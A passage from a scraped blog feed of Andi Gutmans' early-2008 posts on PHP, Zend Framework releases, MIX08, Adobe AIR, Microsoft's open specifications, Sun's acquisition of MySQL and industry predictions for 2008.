becoming clear that dynamic languages are going to increasingly become the standard for Web development. Microsoft and the Java vendors have all recognized this trend and are now aggressively pursuing solutions on top of their software stacks. However, as the core dynamic language communities thrive outside of the .NET CLR and Java JVM software stacks the vendors will be in a challenging position if they solely depend on the uphill battle of cloning the successful dynamic languages onto their software stacks. Some vendors are aware of this challenge and have built hybrid strategies which also aim to deliver the de-facto standard dynamic languages to their customers even if they don&#8217;t have full synergy with their solution stack, this includes Microsoft&#8217;s investment in making PHP work with <a href="http://www.iis.net/php">their solution stack</a> and Sun&#8217;s initial attempts to deliver native Ruby and PHP implementations to their customer base. I believe that while the JVM approach to dynamic languages may appeal to some Java customers it will never be able to catch up with the broader open-source movement around native dynamic languages implementations. The JVM dynamic languages implementations will not be enough for the Java vendors to catch up and they will need to embrace the native de-facto standard community driven dynamic languages.</p> http://andigutmans.blogspot.com/2008/03/java-is-losing-battle-for-modern-web.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-5433448101524730503Mon, 17 Mar 2008 22:19:00 +00002008-03-17T15:19:56.237-07:00Get it now: Use-at-Will Development<p>What did my son do when he heard Zend Framework 1.5 was out? He put on his Zend Framework T-shirt and started a dance of joy. <a href="http://lh6.google.com/andigutmans/R97ugvMZm9I/AAAAAAAAAGQ/Mkh6T3eCxi0/image%5B15%5D"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="202" alt="image" src="http://lh5.google.com/andigutmans/R97uhfMZm-I/AAAAAAAAAGc/r-VF8rPkV6o/image_thumb%5B7%5D" width="244" align="right" border="0" /></a> </p> <p>Zend Framework with it's flexible use-at-will architecture shows him the way but it is up to him to tweak that vision as he sees fit. Zend Framework's use-at-will architecture has been one of the drivers behind mass adoption.</p> <p>Three years ago I was touring the east coast and met with senior staff at two Fortune 10 companies. Both of them had a substantial number of PHP applications internally but something was missing. In order for them to allow PHP as a corporate standard they needed to be able to streamline the development of PHP applications. Not only did this include how to manage PHP applications in production but also how to enforce best practices throughout their developments, both internally and especially with projects which they outsourced.</p> <p>On a similar note many small to medium PHP shops and new Web 2.0 companies had articulated their need for a framework in somewhat of a different way. Mainly focusing on rapid development, getting developers up to speed quickly, and building on an infrastructure which is going to evolve with the market.</p> <p>I took these feedbacks and many others and came to the conclusion that we needed a new kind of &quot;one-size-fits-all&quot; solution. We didn't need the Java-kind which is 99% functionality, therefore leading to high-cost of development and long time-to-market. Rather, we needed to deliver only a subset of functionality which would make most of our users happy while keeping the architecture extremely flexible and allowing our users to take control and tweak the framework to their needs; the &quot;use-at-will&quot; architecture.</p> <p>I think one of the new features which most resembles this philosophy in Zend Framework 1.5 is our <a href="http://framework.zend.com/manual/en/zend.form.html">Forms</a> support. You will find that the new Forms support gives an incredible amount of functionality out-of-the-box but also allows you to tweak almost every aspect of it, to make sure it fits your project without requiring you to adapt your project to us.</p> <p>In addition, recognizing the growing trend of users building composite applications and leveraging Web Services we put a big emphasis on building the eco-system of vendors around Zend Framework. For the first release we already had contributions from IBM, <a href="http://code.google.com/apis/youtube/developers_guide_php.html">Google</a> and <a href="http://framework.zend.com/manual/en/zend.service.strikeiron.html">StrikeIron</a>. With Zend Framework 1.5 both <a href="http://www.codeplex.com/informationcardphp/">Microsoft</a> and <a href="http://www.nirvanix.com/">Nirvanix</a> have joined and we expect more vendors to work with us to expose their Web Services APIs.</p> <p>With a weaker economy and increased pressure on IT to deliver value, companies are going to be increasingly bullish around seeing an ROI on their spending. I have no doubt that with Zend Framework, Zend Studio for Eclipse and our application server which helps manage business critical PHP applications, Java-based solutions will have a very hard time competing with the time-to-market and TCO which this PHP solution has to offer.</p> <p>More reading regarding the new release can be done at <a href="http://devzone.zend.com/article/3270-Zend-Technologies-Releases-Zend-Framework-1.5">devzone</a>, via Wils' <a href="http://www.nabble.com/Zend-Framework-1.5-has-landed%21-to16096161s16154.html">release announcement</a>, or on a blog near you...</p> <p>A big thank you to the Zend Framework community both users and contributors who have helped us get to this point. We've accomplished a lot in a relatively short amount of time.</p> <p>I'd also like to thank the Zend Framework team who've worked extremely hard to make this release happen including pulling off some all nighters and all weekenders right before the release.</p> <p>Thanks to <a href="http://www.varien.com/">Varien</a> for donating an extra cool Web site redesign which not only looks great but will make it much easier for our users to find the information they are seeking.</p> <p>And of course, thanks to anyone else who I forgot :) The people working on PHP which is the foundation for ZF, the people at Zend who've contributed, etc... (is this the Oscars? :)</p> <p>Until next time. I'll leave you with a picture of Zend Framework's biggest fan:</p> <p><a href="http://lh4.google.com/andigutmans/R97uiPMZm_I/AAAAAAAAAGo/_-mK8Jhv31Q/image%5B11%5D"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="244" alt="image" src="http://lh6.google.com/andigutmans/R97uivMZnAI/AAAAAAAAAG0/p1LD6k5CtbM/image_thumb%5B5%5D" width="199" border="0" /></a></p> http://andigutmans.blogspot.com/2008/03/get-it-now-use-at-will-development.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-6666774647622828722Tue, 11 Mar 2008 23:58:00 +00002008-03-11T16:58:39.921-07:00Back from MIX08<p><a href="http://lh6.google.com/andigutmans/R9ccrfMZm7I/AAAAAAAAAFo/0Q0XMtSvSFs/image4"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="77" alt="image" src="http://lh3.google.com/andigutmans/R9ccrvMZm8I/AAAAAAAAAF0/7jDlsZMo7uI/image_thumb2" width="137" align="right" border="0" /></a> Got back late last week from <a href="http://visitmix.com/2008/default.aspx">MIX08</a>. Yet again, Microsoft's Web Developer's conference didn't disappoint. Although there weren't any major announcements like last year's revelation of Silverlight it is clear that the Microsoft machine has picked up significant momentum over the past couple of years towards being a major force in the Web, from the infrastructure to having a significant online presence.</p> <p>What amazes me about Microsoft is that they do seem to be able to orchestrate and execute on very broad strategies which other big players usually have a hard time doing. Synchronizing between so many projects inside a large company is no easy feat but it really feels that their investments in Server 2008, Silverlight, ASP.NET, Visual Studio, Expression Web, Windows Live, etc. are all aligned to a greater roadmap. At the same time Microsoft seems to be learning from its past mistakes and is trying to reduce dependencies within their product portfolio. In one of the keynotes, Steve Ballmer specifically pointed out Microsoft's mistake of aligning the release of IE7 with Longhorn (Vista). A good example of the new way of thinking is how Microsoft is developing <a href="http://weblogs.asp.net/scottgu/archive/2007/10/14/asp-net-mvc-framework.aspx">ASP.NET's MVC framework</a>. Driven by community, Microsoft recognized the interest and after hiring <a href="http://www.hanselman.com/blog/">Scott Hanselman</a> are working hard towards its release with a transparent development process.</p> <p>I was invited to be on two panels at MIX08, &quot;Opportunities and Challenges in Mashing Up the Web&quot; and &quot;The Open Question&quot;. The latter had quite a bit of pick up among the press. Among other things Miguel de Icaza talked about his regret for how the patent agreement between Novell and Microsoft affected the Mono community and there were good discussions with Mike Schroepfer regarding patents and how they affect the Firefox community. In general we talked about many topics besides patents which related to &quot;Open&quot; including open process, transparency, open standards, and creating a level playing fields for competition. Both of these sessions can also be viewed at the mix08 Web site.</p> <p>As far as PHP was concerned, I was pleasantly surprised at how often it came up. Not only did Ballmer explicitly mention PHP when referring to the Yahoo! acquisition but PHP came up in several sessions. Probably the session with the biggest emphasis on PHP was the hosting session. When I chatted with developers in the hallways the majority that I talked to had used PHP, many of them were using it on a daily basis based on their project's requirements. This was pretty surprising because you'd expect a Microsoft conference to have a very Microsoft centric crowd but I think the world is changing and many developers are growing up on open-source platforms and are bringing those solutions to their work place.</p> <p>So what's my main take away from this conference? I think Microsoft is doing a lot of cool stuff and they have managed to build a lot of momentum around delivering those ideas. I think they have also realized that doing more incremental deliveries and developing certain projects out in the open will create a lot of tail wind for them. The down side is that Silverlight could be the next Win32/MFC. As opposed to creating industry standards which advance the whole Web and create a level playing field, technologies like Silverlight and even Flex work against an open Web. Especially in Microsoft's case, if Silverlight becomes super successful and takes a large amount of market share on the Web they will have literally forked the browser and gained control of a large amount of the Web infrastructure. Ideally I'd prefer seeing more of those innovations happening over at W3C, ECMA and other standards organization in order to ensure that the Web keeps on being open. If Javascript and its related technologies aren't good enough to take us to the next level then why not collaborate to define the new standards. Of course, standards processes, like Sun has proven, are often too convoluted and hold back innovation. Lose, lose situation? </p> <p>All in all it was&#160; great conference. I could go on and on but if I don't finish this post it'll be MIX09 by the time this sees the light of day. </p> http://andigutmans.blogspot.com/2008/03/back-from-mix08.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-5837811063018420736Tue, 11 Mar 2008 05:53:00 +00002008-03-10T22:53:40.871-07:00Zend Framework wins Jolt Productivity Award!<p>As Cal <a href="http://devzone.zend.com/article/3242-Zend-Framework-Takes-Home-a-Jolt-Productivity-Award">posted on devzone</a>, Zend Framework was awa<a href="http://lh5.google.com/andigutmans/R9YeYfMZm5I/AAAAAAAAAFA/KYnNLlUWm1E/image%5B4%5D"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="147" alt="image" src="http://lh3.google.com/andigutmans/R9YeY_MZm6I/AAAAAAAAAFM/tqtKTOlkmrQ/image_thumb%5B2%5D" width="147" align="right" border="0" /></a>rded the <a href="http://www.joltawards.com/">Jolt Productivity Award</a> last week. Although Google <a href="http://code.google.com/p/google-guice/">Guice</a> took first place this is still a great acknowledgment for how far the Zend Framework has come.</p> <p>Thanks to its use-at-will architecture and flexibility we are seeing an increasing amount of business critical PHP applications being built on Zend Framework, both new and existing projects which are incrementally adopting it. As Wil likes to put it, Zend Framework is &quot;opiniated software. Your opinion&quot; :) In addition to strong adoption by smaller businesses and community based projects we are also seeing significant Enterprise uptake although we can't mention most of those yet in public.</p> <p>We are very close to <a href="http://blogs.zend.com/2008/01/10/the-zend-framework-15-release-process-is-officially-underway/">releasing Zend Framework 1.5</a> and are rolling Release Candidate 2 tomorrow. So far the feedback has been invaluable and thanks to the active community Zend Framework 1.5 has really made a lot of progress since the preview. In fact, the mailing list has been so active it's hard to keep-up (around 1500 emails in February alone). Stay tuned for the final release.</p> <p>Thanks to all the contributors and the Zend Framework team for making Zend Framework what it is today. A huge amount of effort has gone into this project and it's very satisfying to see it pay off.</p> http://andigutmans.blogspot.com/2008/03/zend-framework-wins-jolt-productivity.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-4562066895058947158Tue, 04 Mar 2008 07:22:00 +00002008-03-03T23:48:09.072-08:00Vegas, I'm coming... (mix08)<p>Tomorrow night I'm hopping on a plane to Las Vegas for Microsoft's <a href="http://visitmix.com/2008/default.aspx">MIX08</a> event.</p> <p>I'm really looking forward to the event. Last year's event was excellent. It gave me a lot of insight on how Microsoft is thinking about the modern Web and how they believe developers and designers will build Web applications and Web services.</p> <p>I'm also going to be on two panels with very interesting topics so if you're at mix08 be sure to drop by. If you have any thoughts on these topics feel free to drop me an email ahead of time so I can help represent a broad view of the PHP community.</p> <p>Here are the panels (you'll need your glasses on):</p> <p><a href="http://lh6.google.com/andigutmans/R8z4ta9AyEI/AAAAAAAAAEY/whLppsN4ELE/image%5B22%5D"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="248" alt="image" src="http://lh6.google.com/andigutmans/R8z4ua9AyFI/AAAAAAAAAEk/g-_nidtwNAc/image_thumb%5B13%5D" width="447" border="0" /></a> </p> <p>Will try and capture some of what's happening at mix08 on this blog so stay tuned.</p> <p>For those who are going to be there I'm looking forward to hooking up.</p> http://andigutmans.blogspot.com/2008/03/vegas-i-coming-mix08.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-7316450963028754309Thu, 28 Feb 2008 22:30:00 +00002008-02-28T14:30:28.043-08:00Zend Framework to be part of Ubuntu!<p>We got some great news from <a href="https://wiki.ubuntu.com/StephanHermann">Stephan Hermann</a>. Stephan is one of the chosen few <a href="https://wiki.ubuntu.com/MOTU">MOTUs</a> in the Ubuntu community and has spearheaded the process for getting Zend Framework included in Hardy Heron aka Ubuntu 8.04. Hardy Heron is slated for release in April 2008 and going forward we will work closely with Stephan and other MOTUs to make sure we always have the right bits in Ubuntu.</p> <p>For those who aren't too familiar with Ubuntu's success (unlikely) the following Google Trends graph is a proof point for its extraordinary growth.</p> <p><a href="http://lh4.google.com/andigutmans/R8c2ASm_45I/AAAAAAAAADs/xXzdt6t6L0U/image9"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="179" alt="image" src="http://lh5.google.com/andigutmans/R8c2Aim_46I/AAAAAAAAAD4/uYNwfoSklug/image_thumb5" width="427" border="0" /></a> </p> <p>We are very proud to be an integral part of the Ubuntu distribution going forward. This is an important step towards making Zend Framework accessible to a broader audience and by working closely with the MOTUs we are able to ensure a positive end-user experience.</p> <p>This comes at a time where we have had over 4M downloads of Zend Framework, 500K of them unique. From the minute Ubuntu hits the streets we will be reporting minimum downloads only :)</p> <p>Thanks again to Stephan and all the MOTUs for the support and to Canonical for sponsoring such a great project. </p> http://andigutmans.blogspot.com/2008/02/zend-framework-to-be-part-of-ubuntu.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-2984940507327345986Wed, 27 Feb 2008 07:15:00 +00002008-02-26T23:15:17.407-08:00Zend Framework 1.0.4 and 1.5 RC 1 Available<p>Today we released Zend Framework 1.0.4. This will be the last maintenance release of the 1.0.x tree and includes over <a href="http://framework.zend.com/issues/secure/IssueNavigator.jspa?requestId=10691">100 bug fixes</a>. This release is geared towards users who are running Zend Framework in production and wish to upgrade to the next stable release.</p> <p>In parallel to 1.0.4 we have released 1.5 Release Candidate 1. After several months of work we believe we are now getting close to a final release of Zend Framework 1.5. This new version includes a large amount of new features, enhancements and bug fixes and will be a significant upgrade from 1.0.</p> <p>New features include:</p> <p>* New Zend_Form component with support for AJAX-enabled form elements</p> <p>* New action and view helpers for automating and facilitating AJAX requests and alternate response formats</p> <p>* New Zend_Layout component for automating and facilitating site layouts</p> <p>* Partial, Placeholder, Action, and Header view helpers for advanced view composition and rendering</p> <p>* Information Card and OpenID authentication adapters</p> <p>* Support for complex Lucene searches, including fuzzy, date-range, and wildcard queries</p> <p>* Support for Lucene 2.1 index file format</p> <p>* UTF-8 support for PDF documents</p> <p>* New Technorati and SlideShare web services</p> <p>and lots more...</p> <p>I urge everyone in the community to test the release candidate and let us know if you encounter problems. Also, we are aiming at making 1.5 backwards compatible with 1.0.4 so please make sure to let us know if you encounter breakages.</p> <p>Please remember this release candidate is still not labeled as production ready so use at your own risk.</p> <p>Thanks to everyone from the community and the team who have made this happen especially getting two big releases out in parallel. It reflects our commitment to ongoing support while working towards a better and brighter future :)</p> <p>Happy ZF'ing!</p> http://andigutmans.blogspot.com/2008/02/zend-framework-104-and-15-rc-1.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-6765366130439072023Tue, 26 Feb 2008 05:53:00 +00002008-02-25T21:53:20.861-08:00The RIA Battle Heats Up<p>I just got back from Adobe Engage, the launch event for <a href="http://www.adobe.com/products/air/">Adobe AIR 1.0</a>. Engage was a one day event which was hosted by Adobe's new CTO, Kevin Lynch. I've been seeing more of the Adobe guys over the past few months both at various conferences and in other settings. I've really been pleasantly surprised at how Adobe seems to be using Macromedia to change the more conservative culture of Adobe, as opposed to trying to enforce Adobe culture onto the acquired company. Promoting Kevin Lynch from Macromedia into the CTO role as well as promoting a variety of Macromedia folks within the organization seems to really be working for them. Sure change doesn't happen overnight but they seem to be doing quite well.</p> <p>What I liked about this event was that it was a true mash-up of solid <a href="http://www.adobe.com/products/air/showcase/#section-1">customer case studies</a>, insight on how Adobe sees this space, and a good opportunity to catch up with a lot of interesting people including finally meeting some people like <a href="http://redmonk.com/cote/about/">Michael Cote</a> who I've been in touch with over the years but have never had a chance to meet in person.</p> <p>Overall the AIR folks have really done a good job. I think their vision of allowing the use of Web technologies for building desktop applications will definitely resonate with a large audience. Also, while Flex itself is an Adobe controlled technology, AIR will also support Ajax-based toolkits meaning that users will have the freedom to mix and match Flex and Ajax in their desktop RIAs. Before you correct me, in Adobe's mind &quot;desktop&quot; and &quot;RIAs&quot; are not mutually exclusive :)</p> <p>While Adobe still intends to keep control of the Flex &amp; AIR technologies they have made a huge amount of progress in figuring out that an open-source strategy is not mutually exclusive to running a viable commercial business. Yesterday, Adobe launched a <a href="http://opensource.adobe.com/wiki/display/site/Home">new Web site</a> dedicated to their open source activities. The Web site doesn't only highlight Adobe open-source projects like <a href="http://opensource.adobe.com/wiki/display/blazeds/BlazeDS">BlazeDS</a> And Flex SDK but also real contributions they are making to third party projects like <a href="http://opensource.adobe.com/wiki/display/site/Projects#Projects-Tamarin">Tamarin</a> to Mozilla and enhancements they made to <a href="http://webkit.org/">WebKit</a> which they are planning on contributing back.</p> <p>I think the timing of this day was not incidental. It comes 10 days before Microsoft's <a href="http://visitmix.com/2008/default.aspx">mix08</a> event where among other things Microsoft is expected to announce Silverlight 2.0, the biggest competitor to Flex (Sun's JavaFX seems to be pretty much dead on arrival). The AIR announcement is likely a nuisance for Microsoft. Due to its cross-platform nature (the company <strong>really</strong> supports Linux) it offers a compelling story to its users while significantly reducing the value of the underlying operating system as it works identically on them all. Today the support for OSes includes Windows, MAC OS X and Linux. The success of AIR can therefore generally be seen as a bad thing for Windows.</p> <p>On the flip side, never count Microsoft out of the game. While they still have very limited adoption they do have some things going for them including the flexible programming model which supports multiple languages and what appears to be a very efficient runtime as opposed to Flex which bets on JavaScript. And of course, Microsoft has always been pretty good with developers.</p> <p>All in all seeing the two companies battle it out is going to be interesting especially in today's day and age where Microsoft has to be more careful about the tactics they employ. While that is happening, Ajax which is still by far the #1 technology for building RIAs will also continue to make progress and while I don't think it'll deliver all the capabilities of Flex and Silverlight those vendors are unlikely to penetrate the market without a good Ajax co-existence strategy (which AIR seems to tout).</p> <p>Last but not least, many ask me where PHP fits into the picture. Now that the browser will have storage (SQLite, Gears) and a strong programming model will the business logic move into the client? The answer to that question was repeated a few dozen times today. Almost everyone was talking about how these desktop RIAs interacted with the &quot;cloud&quot;. The cloud represented business processes, information assets, social graphs and business logic. Well guess what, PHP <strong>is</strong> the cloud and the cloud is going nowhere. On the contrary, as the world's desktop applications migrate to RIAs either on the Web or on the desktop, PHP will only become more critical to the Web. In fact <a href="http://ajaxian.com/wp-content/images/AjaxianReaderSurveyResults_2007.pdf">a recent survey</a> the Ajaxian.com did showed that PHP was the most dominant server-side technology among their RIA community.</p> <p>Next week I'll be on a couple of panels at mix08. I'm looking forward to discovering what Microsoft has in stock for us.</p> <p>In the meanwhile, if you have any thoughts regarding these technologies and how you'd like Zend to think about them please feel free to drop me a note either on this blog or to my email andi at zend.</p> http://andigutmans.blogspot.com/2008/02/ria-battle-heats-up.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-2615158046242598265Thu, 21 Feb 2008 17:51:00 +00002008-02-21T11:41:18.000-08:00Microsoft to extend Windows eco-system!<p>Today Microsoft announced a significant initiative which aims to provide the developer community with access to a large number of Microsoft protocols and file formats.</p> <p>Many of the specifications will be made available under the <a href="http://www.microsoft.com/interop/osp/default.mspx">Microsoft Open Specification Promise</a> (OSP) which enables both open-source and commercial companies to build implementations of the said specifications.</p> <p>While OSP has existed for a while until today it has covered mostly marginally interesting specifications. However, on Feb 15th, 2008 things started getting interesting when Microsoft somewhat silently published the much sought after <a href="http://www.microsoft.com/interop/docs/OfficeBinaryFormats.mspx">Microsoft Office File Formats</a>. I was very excited when I saw those specifications published under the OSP.</p> <p>I have always had a soft spot for Web-based document management systems. As a result we have invested a significant amount of resources in delivering <a href="http://framework.zend.com/manual/en/zend.pdf.html">PDF</a> and <a href="http://framework.zend.com/manual/en/zend.search.lucene.html">Lucene</a> support in <a href="http://framework.zend.com">Zend Framework</a>. With this support it was possible to develop a lightweight document management system which would allow users to upload their PDFs, which would then be read by ZF's PDF component, indexed with ZF's Lucene component and then made searchable. But this idea would never be complete without supporting the most popular document formats including doc, ppt and xls. I hesitated to encourage the community to build readers for these formats as it was unclear what the restrictions were on such implementations. Apache has had the <a href="http://poi.apache.org/">POI</a> project for a long time but it was never great (partially due to the closed Microsoft specs) and I was never quite sure whether it was completely kosher from a Microsoft licensing point of view.</p> <p>This is just an example of how today's announcement is significant. With Microsoft opening up their specifications under the OSP, open-source communities like Zend Framework are now able to build such solutions without fear of litigation. There are many other areas where it will benefit open-source projects including <a href="http://us4.samba.org/samba/">Samba</a> (SMB), <a href="http://www.freetds.org/">FreeTDS</a> (SQL Server), Mono (.NET), and others...</p> <p>So who are the winners?</p> <p>- Foremost Microsoft. I have no doubt Microsoft is doing the right thing for their business. I believe Microsoft has finally understood that their closed nature has significantly hindered the growth of their eco-system. In many ways the threat of Linux has by many been interpreted as a threat of open-source (wrongly so in my opinion). Microsoft has started understanding that and is now making it easier for open-source projects and commercial companies to extend their platform and add value to it. I have long been a believer that nothing is as strong as a vibrant eco-system. Microsoft has had a strong Microsoft-centric eco-system but going down this path they are able to extend their applicable market beyond today's reach.</p> <p>- The open-source community is also a potential winner. The uncertainty and lack of information around Microsoft specifications has hindered the development of open-source solutions which leverage that technology. There are cases where projects have been very successful despite the lack of specifications, for example Samba, but others like FreeTDS have had quality issues as a result. Microsoft is now enabling the open-source community to grow its contributor base around such technologies and significantly improve the delivered quality. As most open-source developers and users live in heterogeneous environments this will benefit many.</p> <p>- Small and large ISVs benefit from the open specifications by making it easier and in many instances cheaper to develop solutions which interoperate with and leverage the Windows platform.</p> <p>Who are the losers?</p> <p>- Microsoft's competitors definitely lose from this initiative. Whether it's IBM who have always held the closed nature of Microsoft's solutions against them will have a harder time convincing customers and legislature that this is an issue; the DB vendors including Oracle and IBM who have benefited from Microsoft's resistance to opening up their TDS protocol to the broad open-source community; and many others who have managed to benefit from Microsoft's mistaken strategies.</p> <p>- Linux and OpenSolaris - Microsoft's all or nothing approach has been an accelerator for the adoption of open-source operating systems. While I am a big fan of Linux I do believe that this is going to put an increasing amount of pressure on the Linux/UNIX backers to deliver innovation and value on top of these systems. The additional competition will be good for the end user and I think will help Linux thrive (for the same reason the OpenSolaris vs. Linux competition is good for us).</p> <p>What does this mean for the PHP Community?</p> <p>I believe the PHP community can only benefit from this move. With PHP being a heterogeneous solution which works on pretty much any operating system, any database and any Web Server; the more interoperability capabilities it has with all open-source and proprietary solutions the better. PHP users just want to get the job done and this will help them do just that.</p> <p>So is this all good?</p> <p>I believe it will take time for both the developer communities, the end users and for Microsoft to figure out the exact rules of engagement. There are going to be situations where Microsoft's promise may not go far enough which could create tensions. </p> <p>In addition, there are going to be certain pieces of the specifications which may require a royalty payment to Microsoft when used in commercial distributions. This is common practice in the industry so it's going to really depend on the specifics whether this becomes an issue. For example, if this puts a requirement on Redhat to pay royalties for distributing Samba it could become a problem as a significant amount of the open-source community uses commercial Linux distributions. The devil's in the details so we will need to wait and see.</p> <p>All in all I think this is a positive move but we will have to see over the next few months how this pans out. </p> <p>&#160;</p> <p>Disclaimer:</p> <p>This is merely an initial interpretation of the news. I don't have any inside information regarding Microsoft's goals nor any insight into how Microsoft's competitors view this move.</p>http://andigutmans.blogspot.com/2008/02/microsoft-to-extend-windows-eco-system.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-3507418196247923770Wed, 16 Jan 2008 19:32:00 +00002008-01-16T11:32:02.743-08:00Congratulations MySQL team!<p>Great to see that the MySQL team has been rewarded for the hard work they've done over the years. </p> <p>Digging through my email archives I've found several email exchanges with Monty from the early periods of PHP and Zend (late 90s) where we had several discussions around best ways to implement hash tables, the growth of our businesses, and the communities. Back then their company was still T.c.X (<a title="http://www.tcx.se/" href="http://www.tcx.se/">http://www.tcx.se/</a>) and a very lean operation. In 2000 we finally met in person for the first of many times in Tel-Aviv when Monty and David joined the first PHP developer's meeting.</p> <p>Since then a lot has been going on. Probably the two most significant changes were the acceptance of open-source software for business critical environments; the second was a realization after the burst of the bubble that the Java/Enterprise database combination was not the only way to build business critical Web applications. With the growth of the modern Web, PHP and MySQL together have displaced the old school of thinking and today run some of the most critical Web applications on the planet.</p> <p>With the standardization of this new Web paradigm vendors like Sun missed the boat on the modern Web. Today there is very little of the huge PHP-based Web community that actually runs on Solaris. Open-sourcing Solaris, increasing investments in x86, and variety of other initiatives which Sun has started in the past few years have brought it somewhat back on the radar but still we have seen very little adoption of the OS in this new Web space. This is why I've always thought that Sun acquiring MySQL would be a very wise move on Sun's part. Not only does it give them access to a great community and team, but I believe it can also be the beach head for Sun to get back into the Web server business (after all, hardware is where the biggest chunk of revenue comes from).</p> <p>In order to be successful Sun has to recognize how significant PHP is for the MySQL user base and has to be pragmatic in how it thinks about and approaches this new business opportunity. By doing so they can truly use this acquisition as an opportunity to become a serious player in the modern Web server market. This means putting religion aside and making sure the Java guys don't have too much influence on MySQL's direction. From knowing many people at Sun I know that religion exists but there are also many people who realize that the hardware and Solaris are really the main drivers and that's what should be the main focus. [Maybe start by changing the ticker to &quot;SOLR&quot;?] I hope MySQL will continue to be as active as it has been in the past in the PHP community&#160; which will also help balance some of the Java thinking inside Sun. I have no doubt that the MySQL team is committed to PHP and will want to continue this way of thinking from inside of Sun.</p> <p>Again, congratulations to the whole MySQL team; Marten, Zak, Monty, David, Jay, and all the rest! You very much deserve it and I wish you an easy integration. Stay in touch!</p> <p>Andi</p> <p>P.S.- By the way, don't say I didn't <a href="http://andigutmans.blogspot.com/2008/01/predictions-for-2008.html">predict</a> that MySQL wasn't going to go public :) [search for MySQL on that page]</p> http://andigutmans.blogspot.com/2008/01/congratulations-mysql-team.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-912745463673463405Tue, 01 Jan 2008 08:08:00 +00002008-01-01T00:47:26.257-08:00Predictions for 2008<p>First of all, I'd like to wish the PHP &amp; other Web communities a happy new year. 2007 has been a great year for the Web and the IT industry as a whole and I believe despite the economic worries, 2008 will be no different.</p> <p>The following are some predictions I make about 2008. I'm looking forward to seeing how many of these actually come true.</p> <p><strong><u>Java on the Web continues to lose market share</u></strong></p> <p>While Java is a good platform for a variety of software tasks, I believe it has never been very good when it comes to the Web. Despite the dozens of Java Web frameworks which have promised an end to traditional Java EE suffering I believe not much has changed. Java is still a technology which is not suited for today's modern Web applications especially as it takes far too long and is far too expensive to deliver Java-based Web applications. In addition, JVM's just don't scale out as well as Apache/PHP-like solutions and the unpredictability of the garbage collector still makes the &quot;thrown more memory on the problem&quot; the most common solution for solving Java production issues.</p> <p>I believe the &quot;Java is the answer. What is the question?&quot; crowd is waking up. I predict that in 2008, Java will continue to lose market share to both ASP.NET and dynamic languages, led by PHP. Dynamic languages on the JVM just won't cut it, and besides making some of the high-end Java EE users happy, it won't save Java on the Web.</p> <p>&#160;</p> <p><strong><u>The next layer of the virtualization eco-system will start thriving</u></strong></p> <p>As I pointed out back in <a href="http://andigutmans.blogspot.com/2007_04_01_archive.html">April 2007</a> I believe we are still at the very beginning of realizing the value of virtualization. There are vast opportunities to leverage virtualization to deliver innovative IT solutions. Probably the major advantage that I see is the ability to deliver solutions which are non-intrusive to the guest OS. VMWare has already started enabling this eco-system by <a href="http://blogs.vmware.com/vmtn/2007/09/vmware-shares-s.html ">creating a set of APIs</a> on top of their solution which security vendors can then leverage. While it seems security is VMWare's first choice, I believe this idea can be expanded into many other areas.</p> <p>I predict that in 2008 we will see the first product concepts come out at least as previews on these set of APIs.</p> <p><strong><u></u></strong></p> <p><strong><u>Hybrid Rich Internet Applications become an accepted &quot;standard&quot;</u></strong></p> <p>The battle for dominating client-side development has been going on for a while. At the center have been the technologies related to Ajax including the dozens of Ajax toolkits (open-source and commercial) and (mostly) proprietary technologies like Flash/Flex. In 2006 there were two significant events in this space. The first related to the <a href="http://www.openajax.org/index.html">OpenAjax Alliance</a>, formed in late 2005, which started delivering specs for various Ajax standards including a <a href="http://www.openajax.org/OpenAjax%20Hub.html">client-side Hub</a>. (Side note: Zend was one of the founding companies and later on non-Ajax vendors like Adobe/Microsoft also joined). The second was the launch of <a href="http://silverlight.net/">Microsoft's Silverlight</a> browser plug-in (not as cross-platform and cross-browser as Microsoft would like it to appear, but significant regardless).</p> <p>I believe 2007 has already been a wake up call to the industry that no one company or one Ajax toolkit will run away with the whole pie (i.e. there will not be a sole winner). Instead, I predict in 2008 we will see more solutions by the leading vendors which will offer hybrid development of Ajax toolkits, OpenAjax standards, and proprietary solutions like Flex &amp; Sliverlight.</p> <p>&#160;</p> <p><strong><u>&quot;Hardware On Demand&quot; becomes real</u></strong></p> <p>Surely anyone reading this blog is familiar with <a href="http://www.amazon.com/gp/browse.html?node=201590011">Amazon EC2 (Elastic Compute Cloud)</a>. While I believe &quot;Utility Computing&quot; is the official term I still think &quot;H-O-D&quot; is a better description of the value EC2 is delivering. There is huge value in this new paradigm of acquiring resources. Not only for dealing with the traditional &quot;peak-time&quot; problem by being able to scale-up and scale-down resources quickly and in a cost effective manner, but also in a variety of other ways including easier to manage IT resources (no need to think about power, cables, etc...), easy to obtain infrastructure for quality assurance especially when a large amount of machines are required, and many other uses.</p> <p>For various reasons this kind of utility computing still hasn't had a lot of real success such as a large Fortune 100 moving applications to these solutions or a large Web site running and scaling on such infrastructure. Over the past months I have seen more and more of our customers show interest in such solutions, some of them very large companies. So my prediction for 2008 is that we will see at least one major game changing success story on a &quot;Hardware On Demand&quot; solution.</p> <p>&#160;</p> <p><strong><u>One of the major non-Eclipse vendors will lead a new Eclipse.org tooling project</u></strong></p> <p>The <a href="http://www.eclipse.org/org/">Eclipse Foundation</a> leads the richest and most vibrant open-standards eco-system around tooling and other industry standards. Mainly due to the Java industry having standardized on the Eclipse platform as the foundation for its tools, a large amount of 